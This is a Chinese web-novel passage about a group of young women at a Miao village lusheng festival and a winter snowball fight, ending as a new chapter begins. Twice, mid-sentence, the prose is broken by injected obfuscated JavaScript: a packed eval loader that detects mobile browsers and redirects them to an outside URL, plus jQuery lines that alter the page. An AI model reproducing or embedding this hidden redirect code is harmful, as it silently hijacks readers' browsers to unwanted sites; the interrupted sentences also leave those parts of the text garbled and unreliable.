两人往绫司司的吊脚楼走，路上已经遇见不少往芦笙场去的人了。后生们裹着青布头巾，腰间系着宽宽的牛皮腰带，手里握着长短不一的芦笙，芦笙管泛着经年累月摩挲出的温润光泽，他们走得昂首挺胸，像是要去赴一场盛大的约。姑娘们三三两两挽着手，穿着各色的苗服，红的、粉的、蓝的、绿的，像是一片移动的花海，她们的发髻上簪着银簪、银花，耳朵上挂着银环，脖子上戴着银项圈，走动起来，满身银饰叮当响，那声音脆生生的，比山雀的叫声还要好听。 行至半路，梨春梦忽然眼睛一亮，朝着不远处的两道身影挥了挥手：“妱绒姐！栀凝姐！” 那两人闻声转头，正是魏妱绒和慕栀凝。魏妱绒穿着一身绛紫色的苗服，短衫领口绣着缠枝莲纹，裙摆上坠着细碎的银铃，走动间叮当作响，她生得眉眼明艳，唇角总是噙着一抹似笑非笑的弧度，看着便带了几分娇俏灵动。慕栀凝则是一身月蓝色的苗服，料子是极轻薄的云锦，裙摆上绣着淡淡的水波纹，她身姿纤细，眉眼温婉，手里挽着一个绣着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037590|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰草的竹篮，篮子里放着两盏精致的油纸伞，看着便像从水墨画里走出来的人。 “你们也刚出门？”魏妱绒笑着走上前，伸手捏了捏梨春梦的脸颊，“这丫头，穿得这么喜庆，是盼着遇着心上人呢？” 梨春梦的脸瞬间红透，跺着脚推开她的手：“妱绒姐你又取笑我！” 慕栀凝浅笑着摇了摇头，目光落在绫司司身上，见她一身浅青色苗服，鬓边簪着兰花银簪，眼底漾起赞许：“司司这身衣裳真好看，衬得你愈发清雅了。” 绫司司的脸颊微微发烫，轻声道：“栀凝姐的月蓝色也极美，像极了山间的月色。” 几人相视而笑，便结伴往芦笙场走去。魏妱绒性子活泼，一路走一路说着邻寨的趣事，说哪家后生吹芦笙吹得极好，说哪家姑娘绣的苗绣堪称一绝，惹得梨春梦时不时发出一阵惊呼。慕栀凝则安静地走在一旁，偶尔伸手帮绫司司理一理被风吹乱的鬓发，动作温柔得很。 绫司司的吊脚楼前，她正站在廊檐下，望着远处的青山出神。她也换上了新做的浅青色苗服，短衫的领口绣着淡淡的竹叶纹，袖口滚着白色的花边，下身是同色系的百褶裙，裙摆垂坠着，带着浅浅的褶皱。她的长发被松松地挽成一个髻，髻上簪着梨春梦送她的那支兰花银簪，银簪的光泽映着她白皙的脸颊，衬得她眉眼温婉，像一朵静静绽放在溪边的兰花。她手里捏着一方素色的手帕，手帕边缘绣着几针细碎的苗绣，是她昨晚连夜赶出来的。 “司司！”梨春梦远远地喊了一声，挥着手朝她跑过来。 绫司司回过神，看见姐妹俩，眉眼弯成了月牙。“霄宫姐，春梦。”她轻声唤道，声音像山涧的清泉，清冽又温柔。 梨春梦跑到她跟前，围着她转了一圈，眼睛瞪得圆圆的：“司司，你今天也太好看了吧！这浅青色太衬你了，比溪边的水草还好看！” 绫司司的脸颊微微发烫，伸手捋了捋鬓边的碎发：“你也好看，像一朵开得正艳的桃花。” 梨霄宫走上前，把竹篮递过去：“尝尝，阿婆刚蒸的，还热乎着呢。”竹篮里的糯米粑白白胖胖的，沾着细碎的黄豆粉，散着甜甜的香气。 绫司司接过一个，咬了一口，软糯的糯米裹着黄豆粉的香，甜而不腻，暖意从舌尖漫到心底。“真好吃。”她笑着说。 魏妱绒凑过来，也拿起一个糯米粑，咬了一大口，眉眼弯弯：“阿婆的手艺就是好，比我家阿娘做的还香。”慕栀凝则从竹篮里拿出油纸伞，分给众人：“听说午后可能会下雨，带着伞稳妥些。” 几人挽着手往芦笙场走，脚下的青石板路被晨雾浸得微凉，踩上去软软的。路上的人越来越多，笑语声此起彼伏，邻寨的人也赶来了，牛车、马车停满了寨口，车辕上挂着红绸，马脖子上系着铜铃，走起来叮当作响。后生们的芦笙声偶尔响起，断断续续的，像是在预热，清越的调子飘在雾里，飘得老远。 芦笙场已经挤满了人，里三层外三层，黑压压的一片。场子北侧的老槐树下，坐着十几个须发花白的老人，他们是寨子里的芦笙队，手里握着的芦笙比后生们的更长更粗，芦笙管上刻着古老的纹样，那是祖辈传下来的。为首的是梨家阿公，他穿着一件深蓝色的对襟长衫，袖口和领口缝着青布补丁，却洗得干干净净，他手里握着的那支芦笙，是他年轻时亲手做的，竹管已经被摩挲得发亮，他坐在马扎上，腰杆挺得笔直，目光扫过满场的人，眼神里带着岁月沉淀下来的温和与庄重。 梨春梦拽着绫司司的手腕，费劲地往人群前面挤，水红色的裙摆扫过旁人的裤脚，惹得不少人回头看。魏妱绒跟在一旁，熟稔地和周围的人打着招呼，帮着她们开路。慕栀凝则护着几人的裙摆，生怕被来往的人踩住。“司司，快往前挤挤，阿公他们要开场了！”梨春梦踮着脚尖，声音里满是雀跃，额角的碎发被风吹得微微晃动。 绫司司被她拉着，浅青色的裙摆被挤得皱了一角，她却不恼，只是笑着，伸手按住鬓边的银簪，生怕它掉下来。梨霄宫跟在她们身后，替她们挡着人群，嘴里说着“借过，麻烦让一让”，她的声音清亮，旁人都乐意给她们让开一条路。 好不容易挤到前排，梨春梦才松了口气，扒着前面的竹栏杆，兴奋地朝老槐树下望。太阳渐渐升起来了，晨雾慢慢散开，金色的阳光透过槐树的枝叶，筛成细碎的金斑，落在老人们的花白头发上，落在他们手里的芦笙上，闪着温暖的光。 场子周围的人越来越多，喧闹声也越来越大，后生们的芦笙声此起彼伏，姑娘们的银饰叮当声不绝于耳，还有小孩子们的嬉闹声，混在一起，像是一首热闹的序曲。 忽然，梨家阿公清了清嗓子，那声音不高，却带着一种莫名的穿透力，像是一颗石子投进了平静的湖面，瞬间压下了场子里的所有嘈杂。所有人都安静下来，目光齐刷刷地投向老槐树下，投向那个须发花白的老人。 梨家阿公缓缓站起身，手里握着那支老芦笙，他的动作很慢，却带着一种庄重的仪式感。他把芦笙举到唇边，深深吸了一口气，胸腔微微起伏。 紧接着，一声高亢清亮的芦笙声，冲破了所有的寂静。 那声音像是从远山深处飘来的风，带着山野的辽阔与苍茫，又像是从岁月深处传来的歌，带着苗寨千百年的故事。它穿过槐树的枝叶，穿过人群的头顶，飘向山腰的梯田，飘向远处的青山，连天上的云都像是停住了脚步，静静地听着。 场子瞬间静得落针可闻，所有人都屏住了呼吸，目光灼灼地望着梨家阿公。 片刻之后，其他老人的芦笙声也跟着响起来了。 有的低沉雄浑，像是老黄牛的哞叫，震得人耳膜微微发麻；有的婉转悠扬，像是山雀的啼鸣，清越得让人心里发痒；有的轻快活泼，像是泉水叮咚，敲得人心里亮堂堂的。高低错落的调子交织在一起，像是一张无形的网，把整个芦笙场都罩在了里面，把所有人的心神都拢在了一起。 后生们再也按捺不住了，纷纷举起手里的芦笙，加入了合奏。一时间，芦笙声浪翻涌，像是山洪暴发，像是万马奔腾，震得青石板都微微发颤。他们吹得热血沸腾，脸颊涨得通红，眼睛里闪着光，那些平日里扛锄头、编竹筐的后生，此刻像是换了个人，浑身都透着一股昂扬的劲儿。 姑娘们也动起来了，她们手拉着手，围成了一个又一个大圈，踩着芦笙的节奏，跳起了踩堂舞。她们的脚步轻快，一步一顿，像是踩着鼓点，裙摆随着脚步翻飞，红的、粉的、蓝的、绿的，像是一朵朵盛开的花，在青石板上绽放。银饰碰撞的叮当声，混着芦笙声，混着姑娘们的笑声，成了这世上最动听的音乐。 梨春梦早就跃跃欲试了，她拽着绫司司的手，又拉着梨霄宫、魏妱绒和慕栀凝，挤进了姑娘们的圈子里。“司司，跟上我的脚步！左脚先抬，对，就这样！”她一边跳，一边大声喊着，声音里满是欢喜。 魏妱绒的舞姿灵动，脚步轻快得像是踩着风，裙摆上的银铃叮当作响，和着芦笙的节奏，格外悦耳。她时不时对着周围的后生眨眨眼，惹得一阵哄笑。慕栀凝的舞姿则温婉柔和，举手投足间带着一种古典的韵味，像是月下的仙子，看得周围的人都不由得放轻了呼吸。 绫司司有些拘谨，脚步慢了半拍，裙摆被踩了一下，她微微红了脸，却还是跟着梨春梦的节奏，慢慢挪动脚步。梨霄宫在一旁护着她，脚步沉稳，时不时提醒她：“别急，跟着节奏来，踩堂舞讲究的是随心。” 阳光越来越暖，金色的光铺满了整个芦笙场，落在姑娘们翻飞的裙摆上，落在后生们握着芦笙的手上，落在老人们含笑的脸上。绫司司渐渐放开了，她跟着节奏，抬脚、转身、摆手，浅青色的裙摆翻飞起来，像是一只轻盈的蝶。她的发丝被风吹乱了，鬓边的银簪闪着光，她的脸上漾着浅浅的笑意，眼底像是盛着一汪春水。 她的目光越过翻飞的裙摆，越过攒动的人头，落在了场子的另一侧。 沈司南正站在一棵芭蕉树下，身上穿着一件素色的长衫，袖口挽着，露出一截清瘦的手腕。他手里握着那支刻着“祭”字的竹笛，竹笛的竹青色在阳光下泛着温润的光。许祭凑在他身边，穿着一件蓝色的短衫，手里也握着一支小芦笙，那是他跟寨子里的后生讨来的，他正踮着脚尖，往姑娘们的圈子里望，眼睛里满是向往，嘴里还跟着芦笙的调子哼着，调子跑了十万八千里，他却浑然不觉。 许祭像是察觉到了绫司司的目光，转头朝她挥了挥手，脸上露出一个大大的笑容，露出两颗小虎牙。沈司南也抬了头，目光与绫司司的目光撞在一起，他愣了一下，随即微微颔首，嘴角漾起一抹浅淡的笑意，那笑意像是春风拂过湖面，漾起一圈圈温柔的涟漪。 绫司司的心跳漏了一拍，连忙转过头，脸颊微微发烫，脚下的步子却乱了，差点踩住梨春梦的裙摆。 “司司，你怎么了？”梨春梦转头看她，眼里满是疑惑。 “没、没什么。”绫司司连忙摆手，目光落在脚下的青石板上，青石板上倒映着她的影子，影子里，浅青色的裙摆还在轻轻晃动。 魏妱绒眼尖，瞥见了这一幕，凑到绫司司耳边，压低声音笑道：“莫不是看上那位吹笛子的公子了？” 绫司司的脸更红了，轻轻推了她一下，却惹得魏妱绒笑得更欢了。慕栀凝看在眼里，轻轻拍了拍魏妱绒的胳膊，示意她别打趣绫司司，魏妱绒这才收敛了笑意，却还是忍不住朝沈司南的方向瞥了一眼。 芦笙声还在继续，高亢、雄浑、婉转、悠扬，像是永远不会停歇。姑娘们的笑声越来越响，后生们的吹奏越来越起劲，老人们的脸上满是欣慰的笑意。场子周围的人也跟着热闹起来，有人在吆喝着卖糯米粑，有人在唱着苗家的山歌，还有人在拍手叫好，声音一浪高过一浪。 山腰上的梯田里，稻穗泛着金黄的光，风一吹，掀起层层金浪。远处的青山连绵起伏，像是一幅浓淡相宜的水墨画。吊脚楼的炊烟还在袅袅地飘，像是一根细细的线，一头系着芦笙场的热闹，一头系着寨子里的烟火气。 绫司司跟着节奏，轻轻摆动着身子，听着耳边的芦笙声、笑声、银饰声，看着眼前翻飞的裙摆、灿烂的笑脸、飘扬的红绸，忽然觉得，这就是最好的时光了。没有城里的喧嚣，没有俗世的烦恼，只有这青山绿水，只有这热热闹闹的芦笙节，只有这群温暖的人。 梨春梦的笑声清脆响亮，像是山雀的啼鸣，她拽着绫司司的手，越跳越起劲，辫梢的水红色绒线在阳光下闪着光。梨霄宫的嘴角也扬着笑意，眉眼间的英气柔和了许多，她的脚步沉稳，带着一种从容的美。魏妱绒和慕栀凝一左一右护着她们，五个人的身影在阳光下交织在一起，成了芦笙场上一道亮丽的风景。 沈司南站在芭蕉树下，看着场子里的热闹，眼底满是温柔。许祭终于忍不住了，拽着他的袖子，指着姑娘们的圈子：“哥，我也想去跳！” 沈司南无奈地笑了笑，揉了揉他的头发：“去吧，小心别踩了人家的裙摆。” 许祭欢呼一声，攥着手里的小芦笙，像一只脱缰的小马，冲进了人群里。他挤到姑娘们的圈子外，学着她们的样子，抬脚、摆手，动作笨拙又可爱，惹得周围的人都笑了起来。 芦笙声还在响，阳光还在暖，风还在吹，绸带还在舞。 苗寨的芦笙节，就这样，在这热热闹闹的声响里，在这欢欢喜喜的笑容里，在这青山绿水的环抱里，盛大开场，像是一幅永远不会褪色的画卷，刻在了每个人的心底。 “真好……”320在空中浮着“如果，如果司南永远这样就好了……” 4. 雪落[番外] 芦笙节的热闹还没散尽，苗寨的第一场雪就悄无声息地落了下来。 起初只是零星的几点，像天上飘下来的柳絮，落在吊脚楼的瓦檐上，落在梯田的稻茬上，落在院角的芭蕉叶上，转瞬就化了，只留下一点湿漉漉的痕迹。寨子里的人还没察觉，直到风里裹着细碎的凉意，抬头看时，才发现天空已经漫起了白茫茫的雪沫子。 雪越下越密，像扯碎了的棉絮，纷纷扬扬地飘着。青石板路很快就覆上了一层薄薄的白，踩上去咯吱咯吱地响。吊脚楼的木格窗棂上积了雪，像镶了一圈银边，屋檐下挂着的红辣椒、黄玉米，被雪衬得愈发鲜亮。后山的竹林成了一片玉色，竹叶上托着蓬松的雪团，风一吹，雪簌簌地落下来，惊起几只躲雪的麻雀，扑棱着翅膀钻进了雪雾里。 许祭是第一个发现下雪的，他正跟着沈司南在廊下练笛，瞥见窗外飘飞的雪片，手里的笛子“啪嗒”一声掉在地上，人已经箭一般冲了出去。“哥！下雪了！是雪！”他光着脚踩在雪地里，冰凉的雪沫子沾在脚踝上，他却浑然不觉，伸手去接那些飘落的雪花，看着它们在掌心化成一汪水，笑得眉眼弯弯。 沈司南无奈地捡起笛子，拿了双布鞋追出去，蹲下身给他套上：“傻小子，冻坏了怎么办。”许祭却只顾着仰头看雪，嘴里念叨着：“苗寨的雪，比城里的好看多了。” 绫司司和梨春梦、魏妱绒、慕栀凝围坐在火塘边，火塘里的柴火噼啪作响，暖融融的火光映着姑娘们的脸颊。她们掀开竹窗，看雪片落在窗台上，积成小小的雪堆。梨春梦伸手抓了一把雪，揉成雪球，偷偷朝魏妱绒扬过去，惹得魏妱绒尖叫着还手，雪球撞在窗棂上，碎成漫天雪沫。慕栀凝则安静地看着窗外，指尖在窗纸上轻轻画着雪花的形状，眼底盛着淡淡的笑意。绫司司拢了拢身上的绣花披帛，目光落在远处的雪山上，雪山在雪雾里若隐若现，像一幅素净的水墨画。 梨霄宫端着一锅热腾腾的甜酒走过来，掀开锅盖时，白汽氤氲着往上飘，带着糯米的甜香。“来尝尝，阿婆酿的甜酒，暖身子。”她给每个人都盛了一碗，琥珀色的甜酒里浮着几颗枸杞，喝一口，暖意从喉咙一直漫到心底。 雪还在下，落在苗寨的每一个角落，落在青瓦上，落在竹枝上，落在姑娘们的发梢上。芦笙场的青石板被雪覆盖，昨日的欢笑声仿佛还在雪雾里回荡。吊脚楼的炊烟袅袅升起，与雪雾交织在一起，整个苗寨安静又温柔，像被裹进了一个雪白的、温暖的梦里。 雪下得正酣，铅灰色的天空还在簌簌地落着雪沫子，院子里的积雪已经没过脚踝，踩上去咯吱作响，像踩碎了一地的碎玉。绫司司刚帮梨霄宫把晾在廊下的苗绣布收进屋，指尖还沾着布料上的寒气，就听见身后传来一阵轻快的脚步声，回头时，一个雪球擦着她的衣角砸在门框上，碎成漫天飞散的雪沫。 “司司姐，接招！”梨春梦攥着两个圆滚滚的雪球，踩着积雪朝她跑过来，水红色的棉袄下摆扫过雪地，溅起细碎的雪粒。她身后跟着余娥和钱一诺，余娥裹着件湖蓝色的短款棉袄，棉袄的领口和袖口都滚着一圈毛茸茸的白狐边，衬得她那张鹅蛋脸愈发白皙透亮，一双杏眼弯成了月牙，眼尾微微上挑，透着股天生的狡黠劲儿。她的头发梳成了两条麻花辫，辫梢系着同色系的蓝绸带，绸带在雪地里一晃一晃的，格外惹眼。她手里捏着个紧实的雪团，指尖冻得微红，却毫不在意，嘴角噙着笑，目光在绫司司和梨霄宫身上转来转去，显然在打着什么鬼主意。 “春梦你居然偷袭！”绫司司愣了一下，随即弯腰抓了一把蓬松的雪，快速捏成雪球朝梨春梦扬过去。雪球砸在梨春梦的肩膀上，碎成一片白，惹得梨春梦咯咯直笑。 梨霄宫刚掀开门帘出来，身上穿着一件素白色的长款棉服，领口别着一枚银质的梅花别针，她低头看着肩头沾着的雪沫，无奈地笑了笑：“你们这是连我都要算上？”说着也弯腰团了个雪球，手腕轻轻一扬，精准地砸中了正偷偷摸过来的余娥。 余娥“哎呀”一声，笑着往旁边跳开，湖蓝色的棉袄下摆跟着翻飞起来，露出里面同色的棉裤。她拍了拍身上的雪，杏眼一瞪，故作凶巴巴地说：“霄宫姐，你居然帮着司司姐！”话音未落，手里的雪球就已经朝梨霄宫飞了过去。钱一诺也趁机发难，她穿着件姜黄色的短袄，动作麻利地团了个大雪球，跟着余娥的雪球一起砸过去，逼得梨霄宫不得不往后退了两步，素白色的棉服裙摆上沾了不少雪粒，像落了一层细碎的梨花。 院子里顿时热闹起来，雪球带着呼呼的风声飞来飞去，撞在门框上、树干上，碎成一片片雪雾。绫司司的动作不算快，总是被梨春梦的雪球逮到机会砸中，雪沫落进衣领里，凉得她缩了缩脖子，却笑得眉眼弯弯。她看准时机，团了个紧实的大雪球，趁梨春梦转身去对付余娥的空档，轻轻砸在她的背上。 梨春梦立刻回头，假装气呼呼地瞪着她：“司司姐，你居然暗算我！”说着就举着两个雪球冲过来，绫司司连忙往梨霄宫身后躲，梨霄宫伸手拦住梨春梦，手里的雪球却趁乱砸在了她的额头上，惹得旁边的余娥和钱一诺哈哈大笑。 余娥和钱一诺很快结成了同盟，两人一个负责吸引注意力，一个负责偷偷团雪球偷袭。余娥的鹅蛋脸因为跑动变得红扑扑的，像熟透了的苹果，湖蓝色的棉袄上沾了不少雪，白狐边的领口被雪衬得愈发蓬松柔软。她绕着院子跑，时不时回头朝梨霄宫她们扬个雪球，脚步轻快得像只林间的小鹿。钱一诺则蹲在避风的廊檐下，飞快地团着雪球，堆了小小的一堆，两人配合默契，打得梨春梦连连求饶，水红色的棉袄上沾了满身的雪，活像个圆滚滚的雪团子。 绫司司看不过去，悄悄绕到她们身后，手里攥着两个雪球，趁两人不备，一人一个砸了过去。雪球砸在余娥的背上，她惊呼一声，转身看见绫司司笑得眉眼弯弯的样子，立刻撅起嘴：“司司姐你也叛变！”说着就抓起廊檐下的雪球朝绫司司追过去。 雪越下越大，鹅毛般的雪花纷纷扬扬地落下来，姑娘们的头发上、肩膀上都落满了雪，像顶着一头细碎的梨花。余娥的麻花辫上沾了不少雪粒，蓝绸带湿了大半，贴在辫梢上，她却毫不在意，只顾着追着绫司司跑，杏眼里满是笑意。梨霄宫的素白棉服上也沾了不少雪，她站在院子中央，看着闹作一团的几人，眼底的笑意温柔得快要溢出来，时不时抬手帮绫司司挡一下飞过来的雪球。 院子里的积雪被踩得乱七八糟，到处都是散落的雪沫和大大小小的雪球坑。火塘里的柴火还在噼啪作响，暖意透过窗棂漫出来，与院子里的凉意交织在一起。余娥跑得累了，靠在梨霄宫的肩膀上喘气，湖蓝色的棉袄蹭着梨霄宫的素白棉服，两人的脸上都带着红彤彤的笑意。绫司司和梨春梦也停了下来，互相帮着拍掉身上的雪，钱一诺则捧着一堆雪球，笑嘻嘻地看着她们，显然还没玩够。 风卷着雪花从院门外吹进来，带着山野的清冽气息，余娥伸手接住一片雪花，看着它在掌心慢慢融化，忽然笑着说：“明年下雪，我们还要一起打雪仗！” 姑娘们的笑声清脆响亮，盖过了风吹过竹林的沙沙声，惊得院外的麻雀扑棱着翅膀，躲进了厚厚的雪堆里。白雪覆盖的吊脚楼前，蓝的、红的、白的、黄的身影交织在一起，酿成了苗寨冬日里最鲜活、最温暖的光景。 廊檐下的风裹着雪沫子，刮在脸上凉丝丝的。沈司南手里掂着两个烤得焦香的红薯，是方才从火塘边顺来的，外皮烤得黢黑，还冒着丝丝缕缕的热气，甜香漫在冷冽的空气里，格外勾人。 他走到缩在竹椅上的许祭身边，把一个热乎乎的红薯递过去：“喏，刚烤好的，小心烫。” 许祭正托着腮帮子，眼巴巴望着院子里打雪仗的姑娘们，听见声音连忙接过红薯，烫得他两手来回倒腾，却舍不得撒手，鼻尖凑上去闻了闻，眼睛亮得像藏了星子：“好香啊哥。” 沈司南挨着他坐下，指尖捏着红薯的蒂，慢慢剥着焦脆的外皮，露出里面金黄软糯的瓤，热气氤氲着模糊了眉眼。他抬眼看向院子里，绫司司正被梨春梦追着跑，浅青色的棉袄下摆扫过雪地，溅起细碎的雪粒；余娥的湖蓝色棉袄上沾了不少雪，白狐毛领被风吹得翻飞，她正拽着梨霄宫的袖子，叽叽喳喳说着什么，鹅蛋脸红扑扑的，像熟透的柿子；钱一诺蹲在廊檐下，正团着一个大雪球，看样子是准备发起新一轮的攻击。 姑娘们的笑声清脆得像风铃，混着风卷雪花的簌簌声，漫过整个院子。 许祭啃了一大口红薯，甜糯的滋味在舌尖化开，他含糊不清地说：“哥，她们玩得好开心啊。” 沈司南嗯了一声，目光落在绫司司身上。她被梨春梦砸中了后背，雪沫落进衣领里，惹得她缩了缩脖子，转头时眉眼弯弯，笑得温柔又明媚。阳光偶尔破开云层，落在她鬓边的银簪上，闪着细碎的光。 “刚才你摔那一下，没摔疼吧？”沈司南忽然开口，想起方才许祭扑在雪地里的模样，眼底漾起笑意。 许祭的脸腾地红了，嘴里的红薯差点没咽下去，他嘟囔着：“哪有摔疼，就是有点丢人。”说着偷偷瞥了眼院子里的慕栀凝，见她正站在一旁含笑看着打闹的众人，耳根更红了，“慕栀凝姐姐人真好，还扶了我。” 沈司南低笑出声，剥红薯的指尖顿了顿：“知道就好，下次别毛毛躁躁的。” 许祭点点头，又啃了一大口红薯，目光重新落回院子里。姑娘们不知什么时候停了打雪仗，正围在一起说着话，余娥手舞足蹈地比划着，惹得众人一阵哄笑。雪还在簌簌地下，落在她们的头发上、肩膀上，像撒了一把细碎的糖霜。 廊檐下的风渐渐温柔了些，红薯的甜香裹着雪的清冽，漫在两人周身。沈司南看着院子里笑闹的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037591|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影，又看了眼身边啃得满脸红薯渣的许祭，眼底的笑意愈发温柔。 这样的冬日，这样的时光，安静又暖。 雪沫子还在簌簌往下飘，院子里的积雪被踩得一片狼藉，姑娘们刚歇下打雪仗的力气，就听见绫司司的声音从廊下传来：“你们看我找到了什么？” 众人回头，只见绫司司手里拎着个红布包，快步走过来，布包口露出几枚红通通的小炮仗，正是苗寨冬日里孩子们最爱玩的摔炮。她身上的浅青色棉袄沾了些雪粒，鬓边银簪晃着细碎的光，眉眼弯成了月牙：“阿婆塞给我的，说让我们添添乐子。” 梨春梦眼睛一亮，立刻凑上来：“哇！摔炮！我好久没玩了！” 余娥也挤过来，湖蓝色棉袄的白狐毛领上沾着雪，鹅蛋脸红扑扑的：“快分我几个，我要吓吓钱一诺！” 正说着，落荭和水秋梨也从隔壁吊脚楼过来了。落荭穿了件枣红色的夹袄，梳着利落的圆髻，髻上簪着枚铜质小簪，她性子沉稳，走过来时脚步轻轻的，只笑着看众人闹。水秋梨则是一身嫩绿色的棉袄，衬得她那张圆圆的娃娃脸愈发娇俏，她一见摔炮，立刻拍手欢呼：“我也要玩！司司姐，给我几个！” 绫司司笑着把摔炮分给众人，每人手里都攥着三五枚。梨春梦性子最急，拿了一枚就往雪地里一摔，“啪”的一声轻响，雪沫子溅起一点，惹得她咯咯直笑。余娥则悄悄绕到钱一诺身后，趁她不注意，把一枚摔炮丢在她脚边，“啪”的一声，钱一诺吓得跳起来，回头看见余娥笑得眉眼弯弯的样子，立刻抓起摔炮追着她打。 落荭拿着摔炮，却没急着玩，只是低头看着掌心那枚红通通的小炮仗，嘴角噙着浅浅的笑意。水秋梨凑到她身边，拉着她的袖子晃了晃：“荭姐，你也玩呀！可有意思了！”说着抓起一枚摔炮，往地上一摔，清脆的响声惊得院外的麻雀扑棱着翅膀飞远了。 落荭被她劝得松了手，拿起一枚摔炮，轻轻往雪地里一掷，“啪”的一声轻响，雪地里炸开一个小小的白印。她看着那白印，眼底的笑意深了些，转头看见水秋梨正蹦蹦跳跳地摔着炮仗，嫩绿色的身影在雪地里格外显眼，像一株冒雪的春芽。 绫司司也拿着摔炮，和梨霄宫并肩站着。她捏起一枚，往脚边的雪堆里一摔，响声清脆，梨霄宫笑着看她，伸手帮她拂去发间的雪粒：“小心点，别溅到衣服上。” 姑娘们的笑声混着摔炮的噼啪声，在雪地里漾开。雪还在下，落在她们的发梢上、肩膀上，落在红通通的摔炮上，落在院子里那一片狼藉的雪地里。吊脚楼的廊檐下，沈司南和许祭正啃着烤红薯，听着院子里的喧闹，眼底都盛着温柔的笑意。 许祭咬着红薯，含糊不清地说：“哥，她们玩得好热闹啊……” 雪沫子还在慢悠悠地飘，院子里的摔炮声噼啪作响，姑娘们的笑声裹着冷冽的风，飘得满院都是。绫司司攥着一把红通通的摔炮，转头看见廊檐下并肩坐着的沈司南和许祭，眼睛一亮，立刻朝他们挥挥手：“沈先生，许祭，你们也来玩啊！” 许祭啃着烤红薯的动作一顿，眼睛瞬间亮了，嘴里还含着半口红薯，含糊不清地喊：“哥！我想去！” 沈司南抬眼，目光落在绫司司身上。她站在雪地里，浅青色的棉袄沾了星星点点的雪，鬓边的银簪晃着细碎的光，眉眼弯得像月牙，手里的摔炮红得耀眼。他刚想开口说什么，许祭已经丢下红薯，一溜烟地跑了过去，伸手就去抢绫司司手里的摔炮：“司司姐，给我几个！我要和余娥姐姐比试比试！” 绫司司笑着分给他一把，又转头看向缓步走过来的沈司南，递过去两枚：“沈先生也试试吧，很有意思的。” 沈司南看着掌心那两枚小小的摔炮，红绸裹着，还带着点暖意。他很少玩这些孩童的玩意儿，指尖微微一顿，就听见旁边的许祭“啪”地摔了一个，雪沫溅起来，惹得许祭欢呼一声。 绫司司见他犹豫，便拿起一枚摔炮，轻轻往他脚边的雪地里一掷，“啪”的一声轻响，雪地里炸开个小小的白印。“你看，很简单的，”她眉眼弯弯，“摔在地上就行，一点都不吓人。” 沈司南看着她眼底的笑意，心里那点拘谨渐渐散了。他捏起一枚摔炮，弯腰往雪堆里一摔，清脆的响声过后，雪沫簌簌落下。许祭正好看见，拍手大喊：“哥好厉害！” 余娥听见动静，也凑过来，扬着手里的摔炮喊：“沈先生，来和我们组队呀！输了的要罚啃冻红薯！” 沈司南失笑，低头看见绫司司正偷偷往他手里又塞了几枚摔炮，指尖不经意间碰到一起，带着点微凉的温度。他攥紧手里的摔炮，看向闹作一团的众人，眼底的笑意温柔得像化开的雪。 许祭早就和水秋梨追着打闹去了，摔炮声此起彼伏。绫司司和沈司南站在原地，看着满院的热闹，雪落在肩头，竟一点都不觉得冷。 5. 闹心的东西 雪沫子还在簌簌地飘，像扯碎了的棉絮，慢悠悠地落满苗寨的青瓦、竹篱，落满吊脚楼前那方晒谷场。晒谷场的积雪被踩得乱七八糟，到处都是打雪仗留下的坑洼，摔炮的红纸屑嵌在雪地里，像撒了一地细碎的胭脂。苏宁枝挎着竹篮从阿婆家出来，篮子里放着刚缝好的苗绣帕子，是给邻寨表姐准备的芦笙节贺礼。她穿着件枣红色的短棉袄，领口滚着一圈毛茸茸的兔毛边，衬得那张鹅蛋脸愈发白皙，乌黑的长发梳成一条粗辫子，辫梢系着同色系的绒线，随着脚步轻轻晃荡。 她本是要抄近路回自家吊脚楼的，路过沈家院子时，一阵清脆的笑声伴着摔炮的噼啪声飘了出来，惹得她忍不住停下脚步，掀了掀竹篱笆上的青藤，朝里面望了望。 院子里闹作一团。几个姑娘穿着各色的棉袄，在雪地里追着打闹，浅青色的是绫司司，水红色的是梨春梦，湖蓝色的是余娥，还有素白的梨霄宫、嫩绿色的水秋梨，一个个头发上沾着雪粒，脸颊红扑扑的，像熟透了的苹果。摔炮声此起彼伏，雪沫子溅得老高，姑娘们的笑声清亮得像山涧的泉水，在雪雾里漾开。 苏宁枝的目光在院子里转了一圈，随即定格在廊檐下的两道身影上。 那道颀长挺拔的身影，是沈司南。他是土生土长的苗寨人，眉眼间带着山野的清俊温润，穿着件靛蓝色的对襟棉袍，是寨子里妇人常织的土布料子，袖口绣着淡淡的苗纹，腰间系着青布腰带，身姿挺拔地站在廊下，手里捏着一枚红通通的摔炮，目光落在雪地里笑闹的人身上，唇边噙着浅淡的笑意。他自小就性子沉稳，一手竹笛吹得极好，寨子里的老人都说，他的笛声里，藏着苗寨的山山水水。而他身边的少年，是远道而来的客人许祭，跟着沈司南来苗寨做客，眉眼间带着城里少年独有的干净澄澈，一身天蓝色短棉袄衬得他愈发灵动，和这雪色苗寨相映成趣。 许祭领口敞着，露出里面的白衬衣，袖口挽了半截，露出一截骨节分明的手腕。他手里攥着一把摔炮，正踮着脚尖往雪地里扔，每扔一个，就会发出一声清脆的响，惊得他微微眯眼，嘴角咧开一个大大的笑，露出两颗小虎牙，阳光透过稀疏的雪花落在他脸上，映得那双眼睛亮得像盛满了星子。 苏宁枝的脚步像是被钉在了原地，连呼吸都放轻了些。 